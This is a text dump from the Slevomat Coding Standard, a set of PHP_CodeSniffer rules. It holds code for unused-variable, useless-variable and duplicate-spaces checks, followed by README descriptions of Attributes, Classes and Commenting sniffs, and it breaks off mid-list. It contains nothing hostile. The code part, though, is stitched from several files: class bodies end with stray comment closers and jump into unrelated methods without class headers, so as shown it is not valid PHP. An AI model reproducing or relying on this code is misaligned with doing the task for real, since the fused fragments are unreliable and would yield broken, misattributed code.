continue; } if ($tokens[$i]['content'] !== $variableName) { continue; } if (!$this->isAssignment($phpcsFile, $i)) { return true; } $nextPointer = TokenHelper::findNextEffective($phpcsFile, $i + 1); if (!in_array($tokens[$nextPointer]['code'], [ T_INC, T_DEC, T_PLUS_EQUAL, T_MINUS_EQUAL, T_MUL_EQUAL, T_DIV_EQUAL, T_POW_EQUAL, T_MOD_EQUAL, T_AND_EQUAL, T_OR_EQUAL, T_XOR_EQUAL, T_SL_EQUAL, T_SR_EQUAL, T_CONCAT_EQUAL, ], true)) { continue; } $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $i - 1); if ($tokens[$previousPointer]['code'] === T_INLINE_ELSE) { return true; } $parenthesisOwnerPointer = $this->findNestedParenthesisWithOwner($phpcsFile, $i); if ( $parenthesisOwnerPointer !== null && in_array($tokens[$parenthesisOwnerPointer]['code'], [T_IF, T_ELSEIF], true) ) { return true; } } return false; } private function isUsedAsKeyOrValueInArray(File $phpcsFile, int $variablePointer): bool { $tokens = $phpcsFile->getTokens(); $squareBracketOpenerPointer = TokenHelper::findPrevious($phpcsFile, T_OPEN_SQUARE_BRACKET, $variablePointer - 1); if ( $squareBracketOpenerPointer !== null && $tokens[$squareBracketOpenerPointer]['bracket_closer'] > $variablePointer ) { return true; } $arrayOpenerPointer = TokenHelper::findPrevious($phpcsFile, T_OPEN_SHORT_ARRAY, $variablePointer - 1); if ($arrayOpenerPointer === null) { return false; } $arrayCloserPointer = $tokens[$arrayOpenerPointer]['bracket_closer']; if ($arrayCloserPointer < $variablePointer) { return false; } $pointerAfterArrayCloser = TokenHelper::findNextEffective($phpcsFile, $arrayCloserPointer + 1); if ($tokens[$pointerAfterArrayCloser]['code'] === T_EQUAL) { return false; } $pointerBeforeVariable = TokenHelper::findPreviousEffective($phpcsFile, $variablePointer - 1); if (in_array($tokens[$pointerBeforeVariable]['code'], [T_INC, T_DEC], true)) { $pointerBeforeVariable = TokenHelper::findPreviousEffective($phpcsFile, $pointerBeforeVariable - 1); } return in_array($tokens[$pointerBeforeVariable]['code'], [T_OPEN_SHORT_ARRAY, T_COMMA, T_DOUBLE_ARROW], true); } private function isValueInForeachAndErrorIsIgnored(File $phpcsFile, int $variablePointer): bool { $tokens = $phpcsFile->getTokens(); $parenthesisOwnerPointer = $this->findNestedParenthesisWithOwner($phpcsFile, $variablePointer); $isInForeach = $parenthesisOwnerPointer !== null && $tokens[$parenthesisOwnerPointer]['code'] === T_FOREACH; if (!$isInForeach) { return false; } $pointerAfterVariable = TokenHelper::findNextEffective($phpcsFile, $variablePointer + 1); if ($pointerAfterVariable !== null && $tokens[$pointerAfterVariable]['code'] === T_DOUBLE_ARROW) { return false; } return $this->ignoreUnusedValuesWhenOnlyKeysAreUsedInForeach; } private function isStaticOrGlobalVariable(File $phpcsFile, int $functionPointer, string $variableName): bool { $tokens = $phpcsFile->getTokens(); for ($i = $tokens[$functionPointer]['scope_opener'] + 1; $i < $tokens[$functionPointer]['scope_closer']; $i++) { if ($tokens[$i]['code'] !== T_VARIABLE) { continue; } if ($tokens[$i]['content'] !== $variableName) { continue; } $pointerBeforeParameter = TokenHelper::findPreviousEffective($phpcsFile, $i - 1); if (in_array($tokens[$pointerBeforeParameter]['code'], [T_STATIC, T_GLOBAL], true)) { return true; } } return false; } private function isParameterPassedByReference(File $phpcsFile, int $functionPointer, string $variableName): bool { $tokens = $phpcsFile->getTokens(); for ($i = $tokens[$functionPointer]['parenthesis_opener'] + 1; $i < $tokens[$functionPointer]['parenthesis_closer']; $i++) { if ($tokens[$i]['code'] !== T_VARIABLE) { continue; } if ($tokens[$i]['content'] !== $variableName) { continue; } $pointerBeforeParameter = TokenHelper::findPreviousEffective($phpcsFile, $i - 1); if ($tokens[$pointerBeforeParameter]['code'] === T_BITWISE_AND) { return true; } } return false; } private function isInheritedVariablePassedByReference(File $phpcsFile, int $functionPointer, string $variableName): bool { $tokens = $phpcsFile->getTokens(); $usePointer = TokenHelper::findNextEffective($phpcsFile, $tokens[$functionPointer]['parenthesis_closer'] + 1); if ($tokens[$usePointer]['code'] !== T_USE) { return false; } $useParenthesisOpener = TokenHelper::findNextEffective($phpcsFile, $usePointer + 1); for ($i = $useParenthesisOpener + 1; $i < $tokens[$useParenthesisOpener]['parenthesis_closer']; $i++) { if ($tokens[$i]['code'] !== T_VARIABLE) { continue; } if ($tokens[$i]['content'] !== $variableName) { continue; } $pointerBeforeInheritedVariable = TokenHelper::findPreviousEffective($phpcsFile, $i - 1); if ($tokens[$pointerBeforeInheritedVariable]['code'] === T_BITWISE_AND) { return true; } } return false; } private function isReference(File $phpcsFile, int $scopeOwnerPointer, int $variablePointer): bool { $tokens = $phpcsFile->getTokens(); $scopeOpenerPointer = $tokens[$scopeOwnerPointer]['code'] === T_OPEN_TAG ? $scopeOwnerPointer : $tokens[$scopeOwnerPointer]['scope_opener']; for ($i = $scopeOpenerPointer + 1; $i < $variablePointer; $i++) { if ($tokens[$i]['code'] !== T_VARIABLE) { continue; } if ($tokens[$i]['content'] !== $tokens[$variablePointer]['content']) { continue; } $assignmentPointer = TokenHelper::findNextEffective($phpcsFile, $i + 1); if ($tokens[$assignmentPointer]['code'] !== T_EQUAL) { continue; } $referencePointer = TokenHelper::findNextEffective($phpcsFile, $assignmentPointer + 1); if ($tokens[$referencePointer]['code'] === T_BITWISE_AND) { return true; } } return false; } private function isPartOfStatementAndWithIncrementOrDecrementOperator(File $phpcsFile, int $variablePointer): bool { $tokens = $phpcsFile->getTokens(); $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $variablePointer - 1); $nextPointer = TokenHelper::findNextEffective($phpcsFile, $variablePointer + 1); if (in_array($tokens[$previousPointer]['code'], [T_DEC, T_INC], true)) { $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $previousPointer - 1); } elseif ($nextPointer !== null && in_array($tokens[$nextPointer]['code'], [T_DEC, T_INC], true)) { // Nothing } else { return false; } if ($tokens[$previousPointer]['code'] === T_OPEN_PARENTHESIS) { $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $previousPointer - 1); } return in_array( $tokens[$previousPointer]['code'], array_merge( [T_STRING_CONCAT, T_ECHO, T_RETURN, T_EXIT, T_PRINT, T_COMMA, T_EMPTY, T_EVAL, T_YIELD], Tokens::$operators, Tokens::$assignmentTokens, Tokens::$booleanOperators, Tokens::$castTokens, ), true, ); } private function findNestedParenthesisWithOwner(File $phpcsFile, int $pointer): ?int { $tokens = $phpcsFile->getTokens(); if (!array_key_exists('nested_parenthesis', $tokens[$pointer])) { return null; } foreach (array_reverse(array_keys($tokens[$pointer]['nested_parenthesis'])) as $nestedParenthesisOpener) { if (array_key_exists('parenthesis_owner', $tokens[$nestedParenthesisOpener])) { return $tokens[$nestedParenthesisOpener]['parenthesis_owner']; } } return null; } private function findOpenerOfNestedParentheses(File $phpcsFile, int $pointer): ?int { $tokens = $phpcsFile->getTokens(); if (!array_key_exists('nested_parenthesis', $tokens[$pointer])) { return null; } return array_reverse(array_keys($tokens[$pointer]['nested_parenthesis']))[0]; } private function findOwnerOfNestedParentheses(File $phpcsFile, int $pointer): ?int { $tokens = $phpcsFile->getTokens(); $parenthesisOpenerPointer = $this->findOpenerOfNestedParentheses($phpcsFile, $pointer); if ($parenthesisOpenerPointer === null) { return null; } return array_key_exists('parenthesis_owner', $tokens[$parenthesisOpenerPointer]) ? $tokens[$parenthesisOpenerPointer]['parenthesis_owner'] : null; } } */ public function register(): array { return [ T_RETURN, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $returnPointer */ public function process(File $phpcsFile, $returnPointer): void { $tokens = $phpcsFile->getTokens(); /** @var int $variablePointer */ $variablePointer = TokenHelper::findNextEffective($phpcsFile, $returnPointer + 1); if ($tokens[$variablePointer]['code'] !== T_VARIABLE) { return; } $returnSemicolonPointer = TokenHelper::findNextEffective($phpcsFile, $variablePointer + 1); if ($tokens[$returnSemicolonPointer]['code'] !== T_SEMICOLON) { return; } $variableName = $tokens[$variablePointer]['content']; $functionPointer = $this->findFunctionPointer($phpcsFile, $variablePointer); if ($functionPointer !== null) { if ($this->isReturnedByReference($phpcsFile, $functionPointer)) { return; } if ($this->isStaticVariable($phpcsFile, $functionPointer, $variablePointer, $variableName)) { return; } if ($this->isFunctionParameter($phpcsFile, $functionPointer, $variableName)) { return; } } $previousVariablePointer = $this->findPreviousVariablePointer($phpcsFile, $returnPointer, $variableName); if ($previousVariablePointer === null) { return; } if (!$this->isAssignmentToVariable($phpcsFile, $previousVariablePointer)) { return; } if ($this->isAssignedInControlStructure($phpcsFile, $previousVariablePointer)) { return; } if ($this->isAssignedInFunctionCall($phpcsFile, $previousVariablePointer)) { return; } if ($this->hasVariableVarAnnotation($phpcsFile, $previousVariablePointer)) { return; } if ($this->hasAnotherAssignmentBefore($phpcsFile, $previousVariablePointer, $variableName)) { return; } if (!$this->areBothPointersNearby($phpcsFile, $previousVariablePointer, $returnPointer)) { return; } $errorParameters = [ sprintf('Useless variable %s.', $variableName), $previousVariablePointer, self::CODE_USELESS_VARIABLE, ]; $pointerBeforePreviousVariable = TokenHelper::findPreviousEffective($phpcsFile, $previousVariablePointer - 1); if ( !in_array($tokens[$pointerBeforePreviousVariable]['code'], [T_SEMICOLON, T_OPEN_CURLY_BRACKET, T_CLOSE_CURLY_BRACKET], true) && TokenHelper::findNextEffective($phpcsFile, $returnSemicolonPointer + 1) !== null ) { $phpcsFile->addError(...$errorParameters); return; } $fix = $phpcsFile->addFixableError(...$errorParameters); if (!$fix) { return; } /** @var int $assignmentPointer */ $assignmentPointer = TokenHelper::findNextEffective($phpcsFile, $previousVariablePointer + 1); $assignmentFixerMapping = [ T_PLUS_EQUAL => '+', T_MINUS_EQUAL => '-', T_MUL_EQUAL => '*', T_DIV_EQUAL => '/', T_POW_EQUAL => '**', T_MOD_EQUAL => '%', T_AND_EQUAL => '&', T_OR_EQUAL => '|', T_XOR_EQUAL => '^', T_SL_EQUAL => '<<', T_SR_EQUAL => '>>', T_CONCAT_EQUAL => '.', ]; $previousVariableSemicolonPointer = $this->findSemicolon($phpcsFile, $previousVariablePointer); $phpcsFile->fixer->beginChangeset(); if ($tokens[$assignmentPointer]['code'] === T_EQUAL) { FixerHelper::change($phpcsFile, $previousVariablePointer, $assignmentPointer, 'return'); } else { FixerHelper::addBefore($phpcsFile, $previousVariablePointer, 'return '); FixerHelper::replace($phpcsFile, $assignmentPointer, $assignmentFixerMapping[$tokens[$assignmentPointer]['code']]); } FixerHelper::removeBetweenIncluding($phpcsFile, $previousVariableSemicolonPointer + 1, $returnSemicolonPointer); $phpcsFile->fixer->endChangeset(); } private function findPreviousVariablePointer(File $phpcsFile, int $pointer, string $variableName): ?int { $tokens = $phpcsFile->getTokens(); for ($i = $pointer - 1; $i >= 0; $i--) { if ( in_array($tokens[$i]['code'], TokenHelper::FUNCTION_TOKEN_CODES, true) && ScopeHelper::isInSameScope($phpcsFile, $tokens[$i]['scope_opener'] + 1, $pointer) ) { return null; } if ($tokens[$i]['code'] !== T_VARIABLE) { continue; } if ($tokens[$i]['content'] !== $variableName) { continue; } $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $i - 1); if ($tokens[$previousPointer]['code'] === T_DOUBLE_COLON) { continue; } if (!ScopeHelper::isInSameScope($phpcsFile, $i, $pointer)) { continue; } return $i; } return null; } private function isAssignedInControlStructure(File $phpcsFile, int $pointer): bool { $controlStructure = TokenHelper::findPrevious($phpcsFile, [ T_WHILE, T_FOR, T_FOREACH, T_SWITCH, T_IF, T_ELSEIF, ], $pointer - 1); if ($controlStructure === null) { return false; } $tokens = $phpcsFile->getTokens(); return $tokens[$controlStructure]['parenthesis_opener'] < $pointer && $pointer < $tokens[$controlStructure]['parenthesis_closer']; } private function isAssignedInFunctionCall(File $phpcsFile, int $pointer): bool { $possibleFunctionNamePointer = TokenHelper::findPrevious($phpcsFile, T_STRING, $pointer - 1); if ($possibleFunctionNamePointer === null) { return false; } $tokens = $phpcsFile->getTokens(); $parenthesisOpenerPointer = TokenHelper::findNextEffective($phpcsFile, $possibleFunctionNamePointer + 1); if ($tokens[$parenthesisOpenerPointer]['code'] !== T_OPEN_PARENTHESIS) { return false; } return $parenthesisOpenerPointer < $pointer && $pointer < $tokens[$parenthesisOpenerPointer]['parenthesis_closer']; } private function isAssignmentToVariable(File $phpcsFile, int $pointer): bool { $assignmentPointer = TokenHelper::findNextEffective($phpcsFile, $pointer + 1); return in_array($phpcsFile->getTokens()[$assignmentPointer]['code'], [ T_EQUAL, T_PLUS_EQUAL, T_MINUS_EQUAL, T_MUL_EQUAL, T_DIV_EQUAL, T_POW_EQUAL, T_MOD_EQUAL, T_AND_EQUAL, T_OR_EQUAL, T_XOR_EQUAL, T_SL_EQUAL, T_SR_EQUAL, T_CONCAT_EQUAL, ], true); } private function findFunctionPointer(File $phpcsFile, int $pointer): ?int { $tokens = $phpcsFile->getTokens(); foreach (array_reverse($tokens[$pointer]['conditions'], true) as $conditionPointer => $conditionTokenCode) { if (in_array($conditionTokenCode, TokenHelper::FUNCTION_TOKEN_CODES, true)) { return $conditionPointer; } } return null; } private function isStaticVariable(File $phpcsFile, int $functionPointer, int $variablePointer, string $variableName): bool { $tokens = $phpcsFile->getTokens(); for ($i = $tokens[$functionPointer]['scope_opener'] + 1; $i < $variablePointer; $i++) { if ($tokens[$i]['code'] !== T_VARIABLE) { continue; } if ($tokens[$i]['content'] !== $variableName) { continue; } $pointerBeforeParameter = TokenHelper::findPreviousEffective($phpcsFile, $i - 1); if ($tokens[$pointerBeforeParameter]['code'] === T_STATIC) { return true; } } return false; } private function isFunctionParameter(File $phpcsFile, int $functionPointer, string $variableName): bool { $tokens = $phpcsFile->getTokens(); for ($i = $tokens[$functionPointer]['parenthesis_opener'] + 1; $i < $tokens[$functionPointer]['parenthesis_closer']; $i++) { if ($tokens[$i]['code'] !== T_VARIABLE) { continue; } if ($tokens[$i]['content'] !== $variableName) { continue; } return true; } return false; } private function isReturnedByReference(File $phpcsFile, int $functionPointer): bool { $tokens = $phpcsFile->getTokens(); $referencePointer = TokenHelper::findNextEffective($phpcsFile, $functionPointer + 1); return $tokens[$referencePointer]['code'] === T_BITWISE_AND; } private function hasVariableVarAnnotation(File $phpcsFile, int $variablePointer): bool { $tokens = $phpcsFile->getTokens(); $pointerBeforeVariable = TokenHelper::findPreviousNonWhitespace($phpcsFile, $variablePointer - 1); if ($tokens[$pointerBeforeVariable]['code'] !== T_DOC_COMMENT_CLOSE_TAG) { return false; } $docCommentContent = TokenHelper::getContent($phpcsFile, $tokens[$pointerBeforeVariable]['comment_opener'], $pointerBeforeVariable); return preg_match( '~@(?:(?:phpstan|psalm)-)?var\\s+.+\\s+' . preg_quote($tokens[$variablePointer]['content'], '~') . '(?:\\s|$)~', $docCommentContent, ) !== 0; } private function hasAnotherAssignmentBefore(File $phpcsFile, int $variablePointer, string $variableName): bool { $previousVariablePointer = $this->findPreviousVariablePointer($phpcsFile, $variablePointer, $variableName); if ($previousVariablePointer === null) { return false; } if (!$this->isAssignmentToVariable($phpcsFile, $previousVariablePointer)) { return false; } return $this->areBothVariablesNearby($phpcsFile, $previousVariablePointer, $variablePointer); } private function areBothPointersNearby(File $phpcsFile, int $firstPointer, int $secondPointer): bool { $firstVariableSemicolonPointer = $this->findSemicolon($phpcsFile, $firstPointer); $pointerAfterFirstVariableSemicolon = TokenHelper::findNextEffective($phpcsFile, $firstVariableSemicolonPointer + 1); return $pointerAfterFirstVariableSemicolon === $secondPointer; } private function areBothVariablesNearby(File $phpcsFile, int $firstVariablePointer, int $secondVariablePointer): bool { if ($this->areBothPointersNearby($phpcsFile, $firstVariablePointer, $secondVariablePointer)) { return true; } $tokens = $phpcsFile->getTokens(); $lastConditionPointer = array_reverse(array_keys($tokens[$firstVariablePointer]['conditions']))[0]; $lastConditionScopeCloserPointer = $tokens[$lastConditionPointer]['scope_closer']; if ($tokens[$lastConditionPointer]['code'] === T_DO) { $lastConditionScopeCloserPointer = TokenHelper::findNext($phpcsFile, T_SEMICOLON, $lastConditionScopeCloserPointer + 1); } return TokenHelper::findNextEffective($phpcsFile, $lastConditionScopeCloserPointer + 1) === $secondVariablePointer; } private function findSemicolon(File $phpcsFile, int $pointer): int { $tokens = $phpcsFile->getTokens(); $semicolonPointer = null; for ($i = $pointer + 1; $i < count($tokens) - 1; $i++) { if ($tokens[$i]['code'] !== T_SEMICOLON) { continue; } if (!ScopeHelper::isInSameScope($phpcsFile, $pointer, $i)) { continue; } $semicolonPointer = $i; break; } /** @var int $semicolonPointer */ $semicolonPointer = $semicolonPointer; return $semicolonPointer; } } */ public function register(): array { return [ T_WHITESPACE, T_DOC_COMMENT_WHITESPACE, T_DOC_COMMENT_STRING, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $whitespacePointer */ public function process(File $phpcsFile, $whitespacePointer): void { $tokens = $phpcsFile->getTokens(); if ($tokens[$whitespacePointer]['column'] === 1) { return; } $content = $tokens[$whitespacePointer]['content']; if ($content === $phpcsFile->eolChar) { return; } if ($tokens[$whitespacePointer]['code'] === T_WHITESPACE) { if ($this->ignoreSpacesBeforeAssignment) { $pointerAfter = TokenHelper::findNextNonWhitespace($phpcsFile, $whitespacePointer + 1); if ( $pointerAfter !== null && in_array($tokens[$pointerAfter]['code'], Tokens::$assignmentTokens, true) ) { return; } } if ($this->ignoreSpacesInParameters) { $pointerAfter = TokenHelper::findNextNonWhitespace($phpcsFile, $whitespacePointer + 1); if ( $pointerAfter !== null && $tokens[$pointerAfter]['code'] === T_VARIABLE && ParameterHelper::isParameter($phpcsFile, $pointerAfter) ) { return; } } if ($this->ignoreSpacesInMatch) { $pointerAfter = TokenHelper::findNextNonWhitespace($phpcsFile, $whitespacePointer + 1); if ( $pointerAfter !== null && $tokens[$pointerAfter]['code'] === T_MATCH_ARROW ) { return; } } } else { if ($this->ignoreSpacesInComment) { return; } if ( $tokens[$whitespacePointer - 1]['code'] === T_DOC_COMMENT_STAR && $tokens[$whitespacePointer + 1]['code'] === T_DOC_COMMENT_STRING ) { return; } if ($this->ignoreSpacesInAnnotation) { $pointerBefore = TokenHelper::findPrevious($phpcsFile, [T_DOC_COMMENT_OPEN_TAG, T_DOC_COMMENT_TAG], $whitespacePointer - 1); if ( $pointerBefore !== null && $tokens[$pointerBefore]['code'] === T_DOC_COMMENT_TAG && $tokens[$whitespacePointer + 1]['code'] !== T_DOC_COMMENT_CLOSE_TAG ) { return; } } } $matchResult = preg_match_all('~ {2,}~', $content, $matches, PREG_OFFSET_CAPTURE); if ($matchResult === false || $matchResult === 0) { return; } $fix = false; foreach ($matches[0] as [$match, $offset]) { $position = $tokens[$whitespacePointer]['column'] + $offset; $fixable = $phpcsFile->addFixableError( sprintf('Duplicate spaces at position %d.', $position), $whitespacePointer, self::CODE_DUPLICATE_SPACES, ); if ($fixable) { $fix = true; } } if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $whitespacePointer, preg_replace('~ {2,}~', ' ', $content)); $phpcsFile->fixer->endChangeset(); } } ./../autoload-bootstrap.php ``` #### SlevomatCodingStandard.Attributes.DisallowAttributesJoining 🔧 Requires that only one attribute can be placed inside `#[]` (no comma-separated list). In case of more attributes applied, they are split into individual `#[]` blocks. #### SlevomatCodingStandard.Attributes.DisallowMultipleAttributesPerLine 🔧 Disallows multiple attributes of some target on same line. This sniff treats multiple attributes declared inside one `#[]` as a single attribute. See `DisallowAttributesJoining` to modify this behavior. #### SlevomatCodingStandard.Attributes.RequireAttributeAfterDocComment 🔧 Requires that attributes are always after documentation comment. ## Classes #### SlevomatCodingStandard.Classes.BackedEnumTypeSpacing 🔧 * Checks number of spaces before `:` and before type. Sniff provides the following settings: * `spacesCountBeforeColon`: the number of spaces before `:`. * `spacesCountBeforeType`: the number of spaces before type. #### SlevomatCodingStandard.Classes.ClassConstantVisibility 🔧 In PHP 7.1+ it's possible to declare [visibility of class constants](https://wiki.php.net/rfc/class_const_visibility). In a similar vein to optional declaration of visibility for properties and methods which is actually required in sane coding standards, this sniff also requires declaring visibility for all class constants. Sniff provides the following settings: * `fixable`: the sniff is not fixable by default because we think it's better to decide about each constant one by one, however you can enable fixability with this option. ```php const FOO = 1; // visibility missing! public const BAR = 2; // correct ``` #### SlevomatCodingStandard.Classes.ClassLength Disallows long classes. This sniff provides the following settings: * `includeComments` (default: `false`): should comments be included in the count. * `includeWhitespace` (default: `false`): should empty lines be included in the count. * `maxLinesLength` (default: `250`): specifies max allowed function lines length. #### SlevomatCodingStandard.Classes.ClassMemberSpacing 🔧 Sniff checks lines count between different class members, e.g. between last property and first method. Sniff provides the following settings: * `linesCountBetweenMembers`: lines count between different class members #### SlevomatCodingStandard.Classes.ClassStructure 🔧 Checks that class/trait/interface members are in the correct order. Sniff provides the following settings: * `groups`: order of groups. Use multiple groups in one `` to not differentiate among them. You can use specific groups or shortcuts. * `methodGroups`: custom method groups. Define a custom group for special methods based on their name, annotation, or attribute. **List of supported groups**: uses, enum cases, public constants, protected constants, private constants, public properties, public static properties, protected properties, protected static properties, private properties, private static properties, constructor, static constructors, destructor, magic methods, invoke method, public methods, protected methods, private methods, public final methods, public static final methods, protected final methods, protected static final methods, public abstract methods, public static abstract methods, protected abstract methods, protected static abstract methods, public static methods, protected static methods, private static methods **List of supported shortcuts**: constants, properties, static properties, methods, all public methods, all protected methods, all private methods, static methods, final methods, abstract methods ```xml ``` #### SlevomatCodingStandard.Classes.ConstantSpacing 🔧 Checks that there is a certain number of blank lines between constants. Sniff provides the following settings: * `minLinesCountBeforeWithComment`: minimum number of lines before constant with a documentation comment or attribute * `maxLinesCountBeforeWithComment`: maximum number of lines before constant with a documentation comment or attribute * `minLinesCountBeforeWithoutComment`: minimum number of lines before constant without a documentation comment or attribute * `maxLinesCountBeforeWithoutComment`: maximum number of lines before constant without a documentation comment or attribute * `minLinesCountBeforeMultiline` (default: `null`): minimum number of lines before multiline constant * `maxLinesCountBeforeMultiline` (default: `null`): maximum number of lines before multiline constant #### SlevomatCodingStandard.Classes.DisallowConstructorPropertyPromotion Disallows usage of constructor property promotion. #### SlevomatCodingStandard.Classes.DisallowLateStaticBindingForConstants 🔧 Disallows late static binding for constants. #### SlevomatCodingStandard.Classes.DisallowMultiConstantDefinition 🔧 Disallows multi constant definition. #### SlevomatCodingStandard.Classes.DisallowMultiPropertyDefinition 🔧 Disallows multi property definition. #### SlevomatCodingStandard.Classes.DisallowStringExpressionPropertyFetch 🔧 Disallows string expression property fetch `$object->{'foo'}` when the property name is compatible with identifier access. #### SlevomatCodingStandard.Classes.EmptyLinesAroundClassBraces 🔧 Enforces one configurable number of lines after opening class/interface/trait brace and one empty line before the closing brace. Sniff provides the following settings: * `linesCountAfterOpeningBrace`: allows to configure the number of lines after opening brace. * `linesCountBeforeClosingBrace`: allows to configure the number of lines before closing brace. #### SlevomatCodingStandard.Classes.EnumCaseSpacing 🔧 Checks that there is a certain number of blank lines between enum cases. Sniff provides the following settings: * `minLinesCountBeforeWithComment`: minimum number of lines before enum case with a documentation comment or attribute * `maxLinesCountBeforeWithComment`: maximum number of lines before enum case with a documentation comment or attribute * `minLinesCountBeforeWithoutComment`: minimum number of lines before enum case without a documentation comment or attribute * `maxLinesCountBeforeWithoutComment`: maximum number of lines before enum case without a documentation comment or attribute #### SlevomatCodingStandard.Classes.ForbiddenPublicProperty Disallows using public properties. This sniff provides the following setting: * `checkPromoted` (default: `false`): will check promoted properties too. * `allowReadonly` (default: `false`): will allow readonly properties. * `allowNonPublicSet` (default: `true`): will allow properties with `protected(set)` or `private(set)`. #### SlevomatCodingStandard.Classes.MethodSpacing 🔧 Checks that there is a certain number of blank lines between methods. Sniff provides the following settings: * `minLinesCount`: minimum number of blank lines * `maxLinesCount`: maximum number of blank lines #### SlevomatCodingStandard.Classes.ModernClassNameReference 🔧 Reports use of `__CLASS__`, `get_parent_class()`, `get_called_class()`, `get_class()` and `get_class($this)`. Class names should be referenced via `::class` constant when possible. Sniff provides the following settings: * `enableOnObjects`: Enable `::class` on all objects. It's on by default if you're on PHP 8.0+ #### SlevomatCodingStandard.Classes.ParentCallSpacing 🔧 Enforces configurable number of lines around parent method call. Sniff provides the following settings: * `linesCountBefore`: allows to configure the number of lines before parent call. * `linesCountBeforeFirst`: allows to configure the number of lines before first parent call. * `linesCountAfter`: allows to configure the number of lines after parent call. * `linesCountAfterLast`: allows to configure the number of lines after last parent call. #### SlevomatCodingStandard.Classes.PropertyDeclaration 🔧 * Checks that there's a single space between a typehint and a property name: `Foo $foo` * Checks that there's no whitespace between a nullability symbol and a typehint: `?Foo` * Checks that there's a single space before nullability symbol or a typehint: `private ?Foo` or `private Foo` * Checks order of modifiers Sniff provides the following settings: * `modifiersOrder`: allows to configure order of modifiers. * `checkPromoted`: will check promoted properties too. * `enableMultipleSpacesBetweenModifiersCheck`: checks multiple spaces between modifiers. #### SlevomatCodingStandard.Classes.PropertySpacing 🔧 Checks that there is a certain number of blank lines between properties. Sniff provides the following settings: * `minLinesCountBeforeWithComment`: minimum number of lines before property with a documentation comment or attribute * `maxLinesCountBeforeWithComment`: maximum number of lines before property with a documentation comment or attribute * `minLinesCountBeforeWithoutComment`: minimum number of lines before property without a documentation comment or attribute * `maxLinesCountBeforeWithoutComment`: maximum number of lines before property without a documentation comment or attribute * `minLinesCountBeforeMultiline` (default: `null`): minimum number of lines before multiline property * `maxLinesCountBeforeMultiline` (default: `null`): maximum number of lines before multiline property #### SlevomatCodingStandard.Classes.RequireAbstractOrFinal 🔧 Requires the class to be declared either as abstract or as final. #### SlevomatCodingStandard.Classes.RequireConstructorPropertyPromotion 🔧 Requires use of constructor property promotion. This sniff provides the following setting: * `enable`: either to enable or not this sniff. By default, it is enabled for PHP versions 8.0 or higher. #### SlevomatCodingStandard.Classes.RequireMultiLineMethodSignature 🔧 Enforces method signature to be split to more lines so each parameter is on its own line. Sniff provides the following settings: * `minLineLength`: specifies min line length to enforce signature to be split. Use 0 value to enforce for all methods, regardless of length. * `minParametersCount`: specifies min parameters count to enforce signature to be split. * `includedMethodPatterns`: allows to configure which methods are included in sniff detection. This is an array of regular expressions (PCRE) with delimiters. You should not use this with `excludedMethodPatterns`, as it will not work properly. * `excludedMethodPatterns`: allows to configure which methods are excluded from sniff detection. This is an array of regular expressions (PCRE) with delimiters. You should not use this with `includedMethodPatterns`, as it will not work properly. * `withPromotedProperties`: always require multiline signatures for methods with promoted properties. #### SlevomatCodingStandard.Classes.RequireSelfReference 🔧 Requires `self` for local reference. #### SlevomatCodingStandard.Classes.RequireSingleLineMethodSignature 🔧 Enforces method signature to be on a single line. Sniff provides the following settings: * `maxLineLength`: specifies max allowed line length. If signature fit on it, it's enforced. Use 0 value to enforce for all methods, regardless of length. * `includedMethodPatterns`: allows to configure which methods are included in sniff detection. This is an array of regular expressions (PCRE) with delimiters. You should not use this with `excludedMethodPatterns`, as it will not work properly. * `excludedMethodPatterns`: allows to configure which methods are excluded from sniff detection. This is an array of regular expressions (PCRE) with delimiters. You should not use this with `includedMethodPatterns`, as it will not work properly. #### SlevomatCodingStandard.Classes.SuperfluousAbstractClassNaming Reports use of superfluous prefix or suffix "Abstract" for abstract classes. #### SlevomatCodingStandard.Classes.SuperfluousInterfaceNaming Reports use of superfluous prefix or suffix "Interface" for interfaces. #### SlevomatCodingStandard.Classes.SuperfluousExceptionNaming Reports use of superfluous suffix "Exception" for exceptions. #### SlevomatCodingStandard.Classes.SuperfluousErrorNaming Reports use of superfluous suffix "Error" for errors. #### SlevomatCodingStandard.Classes.SuperfluousTraitNaming Reports use of superfluous suffix "Trait" for traits. #### SlevomatCodingStandard.Classes.TraitUseDeclaration 🔧 Prohibits multiple traits separated by commas in one `use` statement. #### SlevomatCodingStandard.Classes.TraitUseSpacing 🔧 Enforces configurable number of lines before first `use`, after last `use` and between two `use` statements. Sniff provides the following settings: * `linesCountBeforeFirstUse`: allows to configure the number of lines before first `use`. * `linesCountBeforeFirstUseWhenFirstInClass`: allows to configure the number of lines before first `use` when the `use` is the first statement in the class. * `linesCountBetweenUses`: allows to configure the number of lines between two `use` statements. * `linesCountAfterLastUse`: allows to configure the number of lines after last `use`. * `linesCountAfterLastUseWhenLastInClass`: allows to configure the number of lines after last `use` when the `use` is the last statement in the class. #### SlevomatCodingStandard.Classes.UselessLateStaticBinding 🔧 Reports useless late static binding. ## Commenting #### SlevomatCodingStandard.Commenting.AnnotationName 🔧 Reports incorrect annotation name. It reports standard annotation names used by phpDocumentor, PHPUnit, PHPStan and Psalm by default. Unknown annotation names are ignored. Sniff provides the following settings: * `annotations`: allows to configure which annotations are checked and how. #### SlevomatCodingStandard.Commenting.DeprecatedAnnotationDeclaration Reports `@deprecated` annotations without description. #### SlevomatCodingStandard.Commenting.DisallowCommentAfterCode 🔧 Sniff disallows comments after code at the same line. #### SlevomatCodingStandard.Commenting.ForbiddenAnnotations 🔧 Reports forbidden annotations. No annotations are forbidden by default, the configuration is completely up to the user. It's recommended to forbid obsolete and inappropriate annotations like: * `@author`, `@created`, `@version`: we have version control systems. * `@package`: we have namespaces. * `@copyright`, `@license`: it's not necessary to repeat licensing information in each file. * `@throws`: it's not possible to enforce this annotation and the information can become outdated. Sniff provides the following settings: * `forbiddenAnnotations`: allows to configure which annotations are forbidden to be used. #### SlevomatCodingStandard.Commenting.ForbiddenComments 🔧 Reports forbidden comments in descriptions. Nothing is forbidden by default, the configuration is completely up to the user. It's recommended to forbid generated or inappropriate messages like: * `Constructor.` * `Created by PhpStorm.` Sniff provides the following settings: * 